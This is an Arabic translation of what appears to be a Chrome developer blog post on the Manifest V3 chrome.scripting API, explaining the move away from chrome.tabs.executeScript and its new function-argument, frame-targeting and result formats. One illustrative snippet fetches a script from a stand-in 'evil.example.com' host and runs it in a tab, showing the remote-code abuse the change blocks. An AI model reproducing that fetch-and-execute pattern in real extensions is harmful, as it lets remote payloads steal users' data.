لمحة عن واجهة برمجة التطبيقات chrome.scripting

يقدّم الإصدار 3 من ملف البيان عددًا من التغييرات على نظام الإضافات في Chrome. في هذه المشاركة، سنوضّح الدوافع والتغييرات التي أدّت إلى أحد التغييرات الأكثر بروزًا: إدخال واجهة برمجة التطبيقات chrome.scripting.

ما هو chrome.scripting؟

كما يوحي الاسم، chrome.scripting هي مساحة اسم جديدة تم تقديمها في الإصدار 3 من ملف البيان، وهي مسؤولة عن إمكانات حقن النصوص البرمجية والأنماط.

قد يكون المطوّرون الذين أنشأوا إضافات Chrome في السابق على دراية بأساليب Manifest V2 في Tabs API، مثل chrome.tabs.executeScript و chrome.tabs.insertCSS. تسمح هذه الطرق للإضافات بإدخال النصوص البرمجية وملفّات CSS في الصفحات، على التوالي. في الإصدار 3 من Manifest، تم نقل هذه الإمكانات إلى chrome.scripting ونخطّط لتوسيع نطاق هذه الواجهة من خلال إضافة بعض الإمكانات الجديدة في المستقبل.

لماذا يجب إنشاء واجهة برمجة تطبيقات جديدة؟

عند إجراء تغيير كهذا، من أوّل الأسئلة التي تطرحها عادةً هي "لماذا؟"

أدّت بعض العوامل المختلفة إلى قرار فريق Chrome بتقديم مساحة اسم جديدة لكتابة النصوص البرمجية. أولاً، واجهة برمجة التطبيقات Tabs API هي بمثابة درج غير مرغوب فيه للميزات. ثانيًا، كان علينا إجراء تغييرات جذرية على واجهة برمجة التطبيقات الحالية executeScript API. ثالثًا، أردنا توسيع نطاق إمكانات النصوص البرمجية للإضافات. وقد حدّدت هذه المخاوف معًا بوضوح الحاجة إلى مساحة اسم جديدة لجمع إمكانات النصوص البرمجية.

درج المهملات

إنّ أحد المشاكل التي كانت تؤرق فريق الإضافات خلال السنوات القليلة الماضية هي زيادة عدد عمليات طلب بيانات واجهة برمجة التطبيقات chrome.tabs. عند طرح واجهة برمجة التطبيقات هذه لأول مرة، كانت معظم الإمكانات التي كانت توفرها مرتبطة بالمفهوم العام لعلامة تبويب المتصفّح. وحتى في ذلك الوقت، كانت هذه المجموعة تشمل مجموعة متنوعة من الميزات، ولقد ازدادت هذه المجموعة على مرّ السنين.

بحلول وقت إصدار الإصدار 3 من البيان، تم توسيع نطاق Tabs API ليشمل إدارة علامات التبويب الأساسية، وإدارة الاختيار، وتنظيم النوافذ، والمراسلة، والتحكّم في مستوى التكبير/التصغير، والتنقّل الأساسي، وكتابة النصوص البرمجية، وبعض الإمكانات الأصغر حجمًا الأخرى. على الرغم من أنّ هذه الخطوات مهمة، إلا أنّها قد تكون مربكة بعض الشيء للمطوّرين عند بدء استخدام المنصة ولفريق Chrome أثناء صيانته لها ومراعاة طلبات منتدى المطوّرين.

من العوامل المعقدة الأخرى عدم فهم إذن tabs بشكل جيد. في حين أنّ العديد من الأذونات الأخرى تفرض قيودًا على الوصول إلى واجهة برمجة تطبيقات معيّنة (مثل storage)، فإنّ هذا الإذن قليلاً ما يُستخدم لأنّه لا يمنح الإضافة سوى إذن الوصول إلى المواقع الحسّاسة في نُسخ علامة التبويب (ونتيجةً لذلك، يؤثر أيضًا في واجهة برمجة تطبيقات Windows). من المفهوم أنّ العديد من مطوّري الإضافات يعتقدون خطأً أنّه يجب الحصول على هذا الإذن للوصول إلى طرق Tabs API، مثل chrome.tabs.create أو chrome.tabs.executeScript. يساعد نقل الوظائف خارج واجهة برمجة التطبيقات Tabs API في توضيح بعض هذا الالتباس.

التغييرات التي قد تؤدي إلى أعطال

عند تصميم Manifest V3، كانت إحدى المشاكل الرئيسية التي أردنا معالجتها هي إساءة الاستخدام والبرامج الضارّة التي يتم تفعيلها من خلال "الرمز البرمجي المستضاف عن بُعد"، وهو رمز يتم تنفيذه ولكن لا يتم تضمينه في حِزمة الإضافة. من الشائع أن ينفِّذ صنّاع الإضافات المسيئة نصوصًا برمجية يتم جلبها من خوادم عن بُعد بهدف سرقة بيانات المستخدمين وحقن برامج ضارة والتهرب من رصدها. على الرغم من أنّ الجهات الفاعلة الجيّدة تستخدم هذه الميزة أيضًا، كنا نعتقد في نهاية المطاف أنّه من الخطير جدًا إبقاء هذه الميزة على وضعها السابق.

هناك طريقتان مختلفتان يمكن للإضافات من خلالهما تنفيذ رمز غير مجمّع، ولكن الطريقة ذات الصلة هنا هي طريقة chrome.tabs.executeScript في الإصدار 2 من ملف البيان. تسمح هذه الطريقة للإضافة بتنفيذ سلسلة رمز عشوائية في علامة تبويب مستهدفة. وهذا يعني بدوره أنّ المطوّر الضار يمكنه جلب نص برمجي عشوائي من خادم بعيد وتنفيذه داخل أي صفحة يمكن للإضافة الوصول إليها. كنا ندرك أنّه إذا أردنا معالجة مشكلة الرمز عن بُعد، علينا التخلي عن هذه الميزة.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

أردنا أيضًا حلّ بعض المشاكل الأخرى الأكثر دقة في تصميم Manifest V2، وجعل واجهة برمجة التطبيقات أداة أكثر دقة ويمكن التنبؤ بها.

على الرغم من أنّه كان بإمكاننا تغيير توقيع هذه الطريقة ضمن Tabs API، إلا أنّنا رأينا أنّه بين هذه التغييرات الأساسية وتقديم إمكانات جديدة (الموضَّحة في القسم التالي)، سيكون الابتعاد عن الإصدارات السابقة أسهل للجميع.

توسيع إمكانات النصوص البرمجية

من بين الاعتبارات الأخرى التي تم أخذها في الاعتبار أثناء عملية تصميم الإصدار 3 من ملف البيان، الرغبة في توفير إمكانات إضافية لكتابة النصوص البرمجية لمنصّة إضافات Chrome. على وجه التحديد، أردنا إضافة دعم للنصوص البرمجية للمحتوى الديناميكي وتوسيع إمكانات طريقة executeScript.

إنّ إتاحة النصوص البرمجية للمحتوى الديناميكي هي ميزة يطلبها المستخدمون منذ فترة طويلة في Chromium. في الوقت الحالي، يمكن لإضافات Chrome التي تستخدم الإصدار 2 أو 3 من ملف البيان الإفصاح بشكل ثابت عن نصوص المحتوى البرمجية في ملفmanifest.json فقط، ولا يقدّم النظام الأساسي طريقة لتسجيل نصوص محتوى برمجية جديدة أو تعديل تسجيل نصوص المحتوى البرمجية أو إلغاء تسجيلها أثناء التشغيل.

على الرغم من أنّنا أردنا معالجة طلب هذه الميزة في الإصدار 3 من ملف البيان، لم تكن أي من منصّات برمجة التطبيقات الحالية مناسبةً لذلك. لقد فكّرنا أيضًا في التوافق مع Firefox في Content Scripts API، ولكن تبيّن لنا في وقت مبكر جدًا أنّ هذا النهج يتضمّن بعض العيوب الرئيسية. أولاً، علمنا أنّه سيكون لدينا توقيعات غير متوافقة (مثل إيقاف إتاحة code الخاصية). ثانيًا، كانت واجهة برمجة التطبيقات لدينا تتضمّن مجموعة مختلفة من قيود التصميم (مثل الحاجة إلى تسجيل للحفاظ على التسجيل بعد انتهاء صلاحية عامل الخدمة). أخيرًا، ستحصرنا مساحة الاسم هذه أيضًا في وظائف النصوص البرمجية للمحتوى، حيث نفكر في استخدام النصوص البرمجية في الإضافات بشكل أوسع.

في ما يتعلّق بواجهة برمجة تطبيقات executeScript، أردنا أيضًا توسيع نطاق وظائف هذه الواجهة لتشمل وظائف إضافية غير تلك التي يتيحها إصدار Tabs API. وبشكل أكثر تحديدًا، أردنا إتاحة الدوالّ والوسيطات، وتحديد إطارات معيّنة بسهولة أكبر، واستهداف سياقات غير "علامة التبويب".

من الآن فصاعدًا، سننظر أيضًا في كيفية تفاعل الإضافات مع التطبيقات المتوافقة مع الأجهزة الجوّالة التي تم تثبيتها وغيرها من السياقات التي لا ترتبط من الناحية النظرية بـ "علامات التبويب".

التغييرات بين tabs.executeScript وscripting.executeScript

في الجزء المتبقّي من هذه المشاركة، نريد إلقاء نظرة عن كثب على أوجه التشابه والاختلاف بين chrome.tabs.executeScript و chrome.scripting.executeScript.

إدراج دالة مع وسيطات

أثناء التفكير في كيفية تطوير المنصة في ضوء القيود المفروضة على التعليمات البرمجية المستضافة عن بُعد، أردنا تحقيق التوازن بين القوة الأولية لتنفيذ التعليمات البرمجية العشوائية وعدم السماح إلا بتنفيذ النصوص البرمجية للمحتوى الثابت. كان الحلّ الذي توصلنا إليه هو السماح للإضافات بإدخال دالّة كنص برمجي للمحتوى ونقل صفيف من القيم كوسيطات.

لنلقِ نظرة سريعة على مثال (مبسّط جدًا). لنفترض أنّنا أردنا إدراج نص برمجي يُرحّب بالمستخدم باسمه عندما ينقر على زر الإجراء الخاص بالإضافة (الرمز في شريط الأدوات). في الإصدار Manifest V2، يمكننا إنشاء سلسلة رموز برمجية ديناميكيًا وتنفيذ هذا البرنامج النصي في الصفحة الحالية.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

على الرغم من أنّ الإضافات المستندة إلى الإصدار 3 من ملف البيان لا يمكنها استخدام رمز غير مُضمّن في الإضافة، كان هدفنا هو الحفاظ على بعض الديناميكية التي تتيحها مجموعات الرموز البرمجية العشوائية لإضافات الإصدار 2 من ملف البيان. من خلال أسلوب الوظائف والمَعلمات، يمكن لمراجعي "سوق Chrome الإلكتروني" والمستخدمين وغيرها من الجهات المعنيّة تقييم المخاطر التي تشكلها الإضافة بدقة أكبر، مع السماح أيضًا ل المطوّرين بتعديل سلوك وقت تشغيل الإضافة استنادًا إلى إعدادات المستخدم أو حالة التطبيق.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

استهداف اللقطات

أردنا أيضًا تحسين طريقة تفاعل المطوّرين مع اللقطات في واجهة برمجة التطبيقات المعدَّلة. سمح إصدار Manifest V2 من executeScript للمطوّرين باستهداف جميع اللقطات في علامة تبويب أو لقطة معيّنة في علامة التبويب. يمكنك استخدام chrome.webNavigation.getAllFrames للحصول على قائمة بجميع اللقطات في علامة تبويب.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

في الإصدار 3 من البيان، استبدلنا السمة الاختيارية للعدد الصحيح frameId في عنصر الخيارات بأحد مصفوفات الأعداد الصحيحة الاختيارية frameIds، ما يتيح للمطوّرين استهداف إطارات متعددة في طلب واحد لواجهة برمجة التطبيقات.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

نتائج حقن النصوص البرمجية

لقد حسّنا أيضًا طريقة عرض نتائج حقن النصوص البرمجية في الإصدار 3 من ملف البيان. "النتيجة" هي في الأساس العبارة النهائية التي يتم تقييمها في نص برمجي. يمكنك اعتبارها القيمة التي يتم عرضها عند استدعاء eval() أو تنفيذ مجموعة من الرموز البرمجية في وحدة تحكّم أدوات مطوّري البرامج في Chrome، ولكن يتم تسلسلها من أجل تمرير النتائج على مستوى جميع العمليات.

في الإصدار 2 من بيان التطبيق، سيعرض executeScript وinsertCSS صفيفًا من نتائج التنفيذ العادية. لا بأس بذلك إذا كانت لديك نقطة إدراج واحدة فقط، ولكن لا يمكن ضمان ترتيب النتائج عند الإدراج في إطارات متعددة، وبالتالي لا تتوفّر طريقة لمعرفة النتيجة المرتبطة بالإطار.

على سبيل المثال، لنلقِ نظرة على صفائف results التي يعرضها كلّ من الإصدار 2 من ملف البيان والإصدار 3 من ملف البيان للإضافات نفسها. سيُدخل كلا الإصدارَين من الإضافة النص البرمجي للمحتوى نفسه، وسنقارن النتائج على الصفحة التجريبية نفسها.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

عند تشغيل الإصدار 2 من ملف البيان، نحصل على صفيف من [1, 0, 5]. أيّ من النتائج يتوافق مع الإطار الرئيسي وأيّ منها يتوافق مع إطار iframe؟ لا تُعلمنا القيمة المعروضة، لذلك لا نعرف بالتأكيد.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

في الإصدار 3 من البيان، يحتوي results الآن على صفيف من عناصر النتائج بدلاً من صفيف من نتائج التقييم فقط، وتحدِّد عناصر النتائج بوضوح معرّف الإطار لكل نتيجة. يسهّل ذلك على المطوّرين استخدام النتيجة واتّخاذ إجراء بشأن إطار زمني معيّن.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

الخاتمة

توفّر ترقيات إصدارات بيان التطبيق فرصة نادرة لإعادة التفكير في واجهات برمجة تطبيقات الإضافات وتطويرها. هدفنا هو تحسين تجربة المستخدم النهائي من خلال جعل الإضافات أكثر أمانًا، فضلاً عن تحسين تجربة المطوّر. من خلال تقديم chrome.scripting في الإصدار 3 من ملف البيان، تمكّنا من المساعدة في تنظيف Tabs API، وإعادة تصميم executeScript لتوفير منصة إضافات أكثر أمانًا، ووضع الأساس لإمكانات جديدة لكتابة النصوص البرمجية ستتوفّر في وقت لاحق من هذا العام.